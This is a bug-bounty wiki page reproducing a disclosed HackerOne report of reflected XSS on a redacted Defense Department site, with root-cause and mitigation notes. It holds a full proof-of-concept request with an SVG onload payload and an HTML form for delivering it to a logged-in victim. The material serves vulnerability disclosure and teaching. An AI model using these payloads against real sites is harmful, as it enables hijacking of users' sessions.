Skip to content
XSS Disclosed report Beginner

RXSS on █████████

A reflected cross-site scripting flaw existed in a parameter of a web application, where user input was echoed back into the page without proper encoding. An attacker could craft a link that, when opened by a victim, would run script in the victim's browser and act with their privileges.

tmz900 Follow

Originally disclosed on HackerOne

  • Triaged in 31 hours
  • Fixed in 30 days
  • Disclosed after 40 days

I found RXSS on https://███████/██████

Impact

Perform any action within the application that the user can perform. View any information that the user is able to view. Modify any information that the user is able to modify. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

System Host(s)

████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Inject payload r={payload}

  1. Copy and paste on Burpsuite Repeater:
POST /███ HTTP/1.1
Host: ████████
Cookie: CFID=26233; CFTOKEN=90ba2403db7cf6d0-EA17C9CD-25F4-FB4C-2DEC8DEF637D9544; JSESSIONID=4837C2581F93ABB4DC8F719B2881FA98.cfusion; USAASCpersistence=184943114.20480.0000; TS0102adba=01dbba97f7cb238df71647f1b721444c13c907477d6bbbdab26080274d698141cbde7445d9eac690029443ecf71a098be9ddf1b4285cb4c9fdec0c2d52e8c64f27a783caa91d63c57bc0492f850ce173197907096e69fb1671e87db9318cbbea85dad29ef8ff28ef59a7467ca3f87758b8d9f1ce8c
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: https://██████████
Referer: https://████████/███████
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

r=%22><svG%20onLoad=alert(9)>&btnAction=I+understand+and+accept
  1. View the result:

███████ ████████

  1. You can use this code to test on html files :
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://█████/████" method="POST">
      <input type="hidden" name="r" value="&quot;&gt;&lt;svG&#32;onLoad&#61;alert&#40;9&#41;&gt;" />
      <input type="hidden" name="btnAction" value="I&#32;understand&#32;and&#32;accept" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Suggested Mitigation/Remediation Actions

Filter input on arrival Encode data on output Use appropriate response headers Content Security Policy.

The original report as published on HackerOne, by tmz900. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application reflected the 'r' parameter into the HTML response without output encoding, allowing injected markup and an event handler to execute.

Impact

An attacker could perform any action the victim can perform, view their information, modify data, and interact with other users as the victim.

What the attacker needed

Victim opens a crafted link or form; victim is logged in

The fix

The report recommends filtering input on arrival, encoding data on output, setting appropriate response headers, and using a Content Security Policy.

How it was found

  1. Send a POST request to the affected endpoint with the 'r' parameter containing an SVG element with an onload handler.
  2. Include the expected button action field so the request is accepted.
  3. Observe the injected markup executing in the response page.
  4. Optionally deliver it via an auto-submitting HTML form to trigger it in a victim's browser.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Reflected cross-site scripting (RXSS) means the website takes something you type or send and puts it straight back into the page without cleaning it. If that something is code, the browser runs it as if the site itself had written it. The attacker tricks a logged-in user into opening a prepared link, and the code then runs in that user's session.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by tmz900

View all

3 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.